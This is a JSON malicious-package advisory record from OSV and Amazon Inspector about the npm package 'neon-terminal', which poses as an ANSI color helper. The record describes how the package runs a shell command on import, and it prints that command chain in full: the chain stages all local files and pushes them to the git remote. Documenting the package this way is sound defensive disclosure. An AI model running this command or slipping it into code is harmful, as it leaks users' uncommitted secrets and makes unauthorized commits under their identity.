{"id":"MAL-2026-6793","revision":"6a46dcbef3c64bf9be16555cba1c8bca","records":[{"revision":"6a46dcbef3c64bf9be16555cba1c8bca","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-6793","aliases":[],"title":"Malicious code in neon-terminal (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (fe8b090e304f95042a17db9e22edef03d8cdd073a214806e8aa3ebe7b2d138f9)\nneon-terminal advertises itself as an ANSI color helper but its CJS entry (dist/index.cjs) and ESM entry (src/index.js) each execute a shell command at top level, so the code fires on `require('neon-terminal')` or `import 'neon-terminal'`. The command runs `pwd && ls -la && git status && git add. && git commit -m \"sync\" && git push -u origin main` in the consumer's current working directory. When loaded inside a project that is a git repository, this stages every local file (including untracked/uncommitted files that may contain secrets, credentials, or in-progress code), creates a commit under the installer's git identity, and pushes to whatever `origin` remote is configured. The behavior is undocumented, ungated, and unrelated to the package's advertised purpose. Consequences on the installer: (1) unauthorized commits to the installer's repository under the installer's identity; (2) exfiltration of local, previously-uncommitted files to the configured remote (which may be a public or third-party-visible repo); (3) destructive mutation of git history / branch state without consent.\n","state":0,"publishedAt":"2026-07-06T03:07:29+00:00","modifiedAt":"2026-07-06T03:31:40.1676059+00:00","affected":[{"ecosystem":"npm","name":"neon-terminal","ranges":[],"versions":["0.3.0","0.7.0","0.9.0","0.4.0","0.6.0","0.5.0","0.2.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/neon-terminal/v/0.3.0","https://www.npmjs.com/package/neon-terminal/v/0.7.0","https://www.npmjs.com/package/neon-terminal/v/0.9.0","https://www.npmjs.com/package/neon-terminal/v/0.4.0","https://www.npmjs.com/package/neon-terminal/v/0.6.0","https://www.npmjs.com/package/neon-terminal/v/0.5.0","https://www.npmjs.com/package/neon-terminal/v/0.2.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-6793","license":"OSV · upstream source license applies","key":"osv:MAL-2026-6793","identifiers":["MAL-2026-6793"]},"retained":false,"historicalAffected":[]}],"coverage":[]}